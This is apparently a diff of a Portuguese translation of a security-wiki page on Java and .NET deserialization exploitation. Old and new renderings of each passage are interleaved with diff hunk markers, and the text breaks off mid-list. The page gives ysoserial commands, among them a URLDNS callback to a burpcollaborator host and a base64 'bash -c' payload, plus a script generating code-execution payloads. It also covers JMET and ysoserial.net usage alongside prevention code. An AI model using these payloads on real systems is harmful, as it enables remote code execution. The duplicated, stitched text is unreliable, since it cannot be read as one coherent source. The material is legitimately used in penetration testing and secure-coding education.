Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e para as quais [**Ysoserial** ](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você pode checar as bibliotecas indicadas em [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Você também pode usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis gadget chains que possam ser explorados.\
|
||||
Ao executar **gadgetinspector** (após compilá-lo) não se preocupe com as dezenas de warnings/errors que ele exibirá e deixe-o terminar. Ele gravará todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Por favor, note que **gadgetinspector não cria um exploit e pode indicar falsos positivos**.
|
||||
|
||||
#### Teste de Caixa Preta
|
||||
#### Black Box Test
|
||||
|
||||
Usando a extensão Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essa informação, pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
||||
[**Leia isso para saber mais sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe é focado em **deserializações de `ObjectInputStream`**.
|
||||
Usando a extensão do Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) você pode identificar **quais bibliotecas estão disponíveis** (e até as versões). Com essa informação pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
||||
[**Leia isto para saber mais sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe está focado em **`ObjectInputStream` deserializations**.
|
||||
|
||||
Usando a extensão Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), você pode **identificar bibliotecas vulneráveis** que podem ser exploradas com ysoserial e **explorá-las**.\
|
||||
[**Leia isso para saber mais sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner é focado em **deserializações de `ObjectInputStream`**.
|
||||
Usando a extensão do Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
|
||||
[**Leia isto para saber mais sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner está focado em deserializações **`ObjectInputStream`**.
|
||||
|
||||
Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialização** no **Burp**. Este plugin detectará **não apenas vulnerabilidades relacionadas a `ObjectInputStream`**, mas **também** vulnerabilidades de bibliotecas de deserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
||||
Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialização** no **Burp**. Este plugin detectará **não apenas vulnerabilidades relacionadas a `ObjectInputStream`**, mas **também** vulns de bibliotecas de deserialização **Json** e **Yml**. Em modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
||||
[**Você pode encontrar mais informações sobre Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Teste de Serialização**
|
||||
Teste de Serialização
|
||||
|
||||
Nem tudo se resume a verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo privilégios de admin dentro de um webapp).\
|
||||
Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível por humanos o objeto de serialização que está sendo enviado**. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações.
|
||||
Nem tudo é verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo privilégios de admin dentro de uma aplicação web).\
|
||||
Se você encontrar um objeto java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível o objeto serializado que está sendo enviado**. Saber quais dados você está enviando facilita modificá-los e contornar algumas verificações.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
A principal ferramenta para explorar deserializações Java é [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\
|
||||
A principal ferramenta para explorar deserializações Java é [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) que permitirá usar comandos complexos (com pipes, por exemplo).\
|
||||
Note que esta ferramenta é **focada** em explorar **`ObjectInputStream`**.\
|
||||
Eu **começaria usando o payload "URLDNS"** **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, note que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.
|
||||
Eu **começaria usando o payload "URLDNS"** antes de um payload RCE para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não funcione, mas outro payload RCE sim.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -483,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Ao criar um payload para **java.lang.Runtime.exec()** você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload você pode [usar esta página](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e, em seguida, testá-los na página da web vulnerável:
|
||||
Sinta-se à vontade para usar o script abaixo para criar **todos os possíveis payloads de execução de código** para Windows e Linux e então testá-los na página web vulnerável:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -508,12 +523,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta estão nos **slides da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta nos **slides da palestra** em que a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) pode ser usado para gerar payloads para explorar diferentes **Json** e **Yml** bibliotecas de serialização em Java.\
|
||||
Para compilar o projeto, eu precisei **adicionar** estas **dependências** ao `pom.xml`:
|
||||
Para compilar o projeto precisei **adicionar** estas **dependências** ao `pom.xml`:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -539,46 +554,46 @@ Leia mais sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/bl
|
||||
|
||||
### Labs
|
||||
|
||||
- Se você quiser testar alguns payloads ysoserial, você pode **executar este webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- Se quiser testar alguns ysoserial payloads você pode **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
### Por que
|
||||
|
||||
Java usa muita serialização para vários propósitos, como:
|
||||
Java usa muita serialização para vários propósitos como:
|
||||
|
||||
- **Requisições HTTP**: A serialização é amplamente empregada na gestão de parâmetros, ViewState, cookies, etc.
|
||||
- **RMI (Remote Method Invocation)**: O protocolo RMI do Java, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.
|
||||
- **RMI sobre HTTP**: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.
|
||||
- **JMX (Java Management Extensions)**: O JMX utiliza serialização para transmitir objetos pela rede.
|
||||
- **Protocolos Personalizados**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.
|
||||
- **HTTP requests**: A serialização é amplamente empregada no gerenciamento de parâmetros, ViewState, cookies, etc.
|
||||
- **RMI (Remote Method Invocation)**: O protocolo Java RMI, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.
|
||||
- **RMI over HTTP**: Este método é comumente usado por aplicações web de cliente pesado baseadas em Java, utilizando serialização para todas as comunicações de objetos.
|
||||
- **JMX (Java Management Extensions)**: JMX utiliza serialização para transmitir objetos pela rede.
|
||||
- **Custom Protocols**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, o que será demonstrado em exemplos de exploit a seguir.
|
||||
|
||||
### Prevention
|
||||
### Prevenção
|
||||
|
||||
#### Transient objects
|
||||
#### Objetos transient
|
||||
|
||||
Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
|
||||
Uma classe que implementa `Serializable` pode marcar como `transient` qualquer objeto dentro da classe que não deva ser serializável. Por exemplo:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Evite a Serialização de uma classe que precisa implementar Serializable
|
||||
#### Evitar a Serialization de uma classe que precisa implementar Serializable
|
||||
|
||||
Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, conforme mostrado abaixo:
|
||||
Em cenários onde certos **objetos devem implementar a `Serializable`** devido à hierarquia de classes, existe o risco de desserialização não intencional. Para evitar isso, assegure que esses objetos não sejam desserializáveis definindo um método `final` `readObject()` que sempre lança uma exceção, como mostrado abaixo:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Aprimorando a Segurança de Desserialização em Java**
|
||||
#### **Aprimorando a Segurança de Deserialization em Java**
|
||||
|
||||
**Personalizando `java.io.ObjectInputStream`** é uma abordagem prática para garantir processos de desserialização. Este método é adequado quando:
|
||||
**Customizando `java.io.ObjectInputStream`** é uma abordagem prática para proteger processos de deserialization. Este método é adequado quando:
|
||||
|
||||
- O código de desserialização está sob seu controle.
|
||||
- As classes esperadas para desserialização são conhecidas.
|
||||
- O código de deserialization está sob seu controle.
|
||||
- As classes esperadas para deserialization são conhecidas.
|
||||
|
||||
Substitua o método **`resolveClass()`** para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no seguinte exemplo que restringe a desserialização apenas à classe `Bicycle`:
|
||||
Sobrescreva o método **`resolveClass()`** para limitar a deserialization apenas às classes permitidas. Isso previne a deserialization de qualquer classe exceto aquelas explicitamente permitidas, como no exemplo a seguir que restringe a deserialization apenas à classe `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -599,17 +614,17 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **listar classes prejudiciais**, usando um parâmetro JVM:
|
||||
**Usando um Java Agent para Aprimoramento de Segurança** oferece uma solução alternativa quando a modificação do código não é possível. Este método aplica-se principalmente para **blacklisting harmful classes**, usando um parâmetro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Fornece uma maneira de proteger a desserialização dinamicamente, ideal para ambientes onde mudanças imediatas de código são impraticáveis.
|
||||
Ele fornece uma forma de proteger a desserialização dinamicamente, ideal para ambientes onde alterações imediatas no código são impraticáveis.
|
||||
|
||||
Verifique um exemplo em [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
Veja um exemplo em [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Implementando Filtros de Serialização**: O Java 9 introduziu filtros de serialização através da interface **`ObjectInputFilter`**, fornecendo um mecanismo poderoso para especificar critérios que os objetos serializados devem atender antes de serem desserializados. Esses filtros podem ser aplicados globalmente ou por fluxo, oferecendo um controle granular sobre o processo de desserialização.
|
||||
**Implementando Filtros de Serialização**: Java 9 introduziu filtros de serialização via a interface **`ObjectInputFilter`**, fornecendo um mecanismo poderoso para especificar critérios que objetos serializados devem atender antes de serem desserializados. Esses filtros podem ser aplicados globalmente ou por stream, oferecendo um controle granular sobre o processo de desserialização.
|
||||
|
||||
Para utilizar filtros de serialização, você pode definir um filtro global que se aplica a todas as operações de desserialização ou configurá-lo dinamicamente para fluxos específicos. Por exemplo:
|
||||
Para utilizar filtros de serialização, você pode definir um filtro global que se aplique a todas as operações de desserialização ou configurá-lo dinamicamente para streams específicos. Por exemplo:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -621,29 +636,30 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Aproveitando Bibliotecas Externas para Segurança Aprimorada**: Bibliotecas como **NotSoSerial**, **jdeserialize** e **Kryo** oferecem recursos avançados para controlar e monitorar a desserialização em Java. Essas bibliotecas podem fornecer camadas adicionais de segurança, como a lista branca ou lista negra de classes, análise de objetos serializados antes da desserialização e implementação de estratégias de serialização personalizadas.
|
||||
**Aproveitando Bibliotecas Externas para Segurança Aprimorada**: Bibliotecas como **NotSoSerial**, **jdeserialize** e **Kryo** oferecem recursos avançados para controlar e monitorar Java deserialization. Essas bibliotecas podem fornecer camadas adicionais de segurança, como whitelisting ou blacklisting de classes, analisar objetos serialized antes da deserialization e implementar estratégias customizadas de serialization.
|
||||
|
||||
- **NotSoSerial** intercepta processos de desserialização para evitar a execução de código não confiável.
|
||||
- **jdeserialize** permite a análise de objetos Java serializados sem desserializá-los, ajudando a identificar conteúdo potencialmente malicioso.
|
||||
- **Kryo** é uma estrutura de serialização alternativa que enfatiza velocidade e eficiência, oferecendo estratégias de serialização configuráveis que podem aumentar a segurança.
|
||||
- **NotSoSerial** intercepta processos de deserialization para prevenir a execução de código não confiável.
|
||||
- **jdeserialize** permite a análise de objetos Java serialized sem desserializá-los, ajudando a identificar conteúdo potencialmente malicioso.
|
||||
- **Kryo** é um framework alternativo de serialization que enfatiza velocidade e eficiência, oferecendo estratégias configuráveis de serialization que podem aumentar a segurança.
|
||||
|
||||
### Referências
|
||||
### References
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Palestra sobre desserialização e ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Artigo Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java e .Net desserialização **artigo:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVEs de desserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Injeção JNDI & log4Shell
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
Encontre o que é **JNDI Injection, como abusar dele via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo desta vuln) na página a seguir:
|
||||
|
||||
Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo dessa vulnerabilidade) na seguinte página:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -651,9 +667,9 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> A API **Java Message Service** (**JMS**) é uma API de middleware orientada a mensagens em Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema do produtor-consumidor. JMS é parte da Plataforma Java, Edição Empresarial (Java EE), e foi definida por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido guiada pelo Processo da Comunidade Java. É um padrão de mensagens que permite que componentes de aplicação baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite que a comunicação entre diferentes componentes de uma aplicação distribuída seja fracamente acoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> The **Java Message Service** (**JMS**) API é uma API Java message-oriented middleware para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema producer–consumer. JMS faz parte da Java Platform, Enterprise Edition (Java EE), e foi definida por uma especificação desenvolvida pela Sun Microsystems, mas que desde então é guiada pelo Java Community Process. É um padrão de messaging que permite que componentes de aplicação baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite a comunicação entre diferentes componentes de uma aplicação distribuída de forma loosely coupled, reliable e asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Produtos
|
||||
### Products
|
||||
|
||||
Existem vários produtos que usam esse middleware para enviar mensagens:
|
||||
|
||||
@ -661,27 +677,27 @@ Existem vários produtos que usam esse middleware para enviar mensagens:
|
||||
|
||||
.png>)
|
||||
|
||||
### Exploração
|
||||
### Exploitation
|
||||
|
||||
Então, basicamente, há um **monte de serviços usando JMS de uma maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||
Isso significa que, nesta exploração, todos os **clientes que vão usar essa mensagem serão infectados**.
|
||||
Basicamente existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (normalmente será necessário credenciais válidas) você pode conseguir enviar **malicious objects serialized que serão deserialized pelo consumer/subscriber**.\
|
||||
Isso significa que nessa exploração todos os **clients que forem usar essa mensagem serão infectados**.
|
||||
|
||||
Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está inseguramente desserializando input do usuário) você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
|
||||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda for vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
|
||||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários malicious objects serialized usando gadgets conhecidos**. Esses exploits irão funcionar se o serviço ainda for vulnerável e se algum dos gadgets usados estiver presente na aplicação vulnerável.
|
||||
|
||||
### Referências
|
||||
### References
|
||||
|
||||
- [Patchstack advisory – Everest Forms injeção de objeto PHP não autenticada (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- Palestra JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
No contexto do .Net, os exploits de desserialização operam de maneira semelhante àqueles encontrados em Java, onde gadgets são explorados para executar código específico durante a desserialização de um objeto.
|
||||
No contexto do .Net, exploits de deserialization operam de maneira análoga às encontradas em Java, onde gadgets são explorados para executar código específico durante a deserialization de um objeto.
|
||||
|
||||
### Impressão Digital
|
||||
### Fingerprint
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
@ -690,32 +706,32 @@ O código-fonte deve ser inspecionado em busca de ocorrências de:
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
O foco deve estar em serializadores que permitem que o tipo seja determinado por uma variável sob controle do usuário.
|
||||
O foco deve ser em serializers que permitem o tipo ser determinado por uma variável sob controle do usuário.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
A busca deve se concentrar na string codificada em Base64 **AAEAAAD/////** ou qualquer padrão semelhante que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso pode incluir, mas não se limita a, estruturas **JSON** ou **XML** apresentando `TypeObject` ou `$type`.
|
||||
A busca deve mirar na Base64 encoded string **AAEAAAD/////** ou qualquer padrão similar que possa sofrer deserialization no lado do servidor, concedendo controle sobre o tipo a ser deserializado. Isso pode incluir, mas não se limita a, estruturas **JSON** ou **XML** contendo `TypeObject` ou `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Uma vez baixado o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
|
||||
Nesse caso você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de deserialization**. Uma vez que você baixar o repositório git você deve **compilar a ferramenta** usando Visual Studio por exemplo.
|
||||
|
||||
Se você quiser aprender sobre **como o ysoserial.net cria seu exploit**, pode [**ver esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Se você quiser aprender sobre **como ysoserial.net cria seus exploits** você pode [**ver esta página onde é explicado o ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
|
||||
As opções principais do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
|
||||
|
||||
- **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
|
||||
- **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está usando o back-end para desserializar a carga e usar a mesma para serializá-la)
|
||||
- **`--output`** usado para indicar se você deseja o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||||
- **`--gadget`** usado para indicar o gadget a abusar (indicar a classe/função que será abusada durante a deserialization para executar comandos).
|
||||
- **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar o payload e usar a mesma para serializá-lo)
|
||||
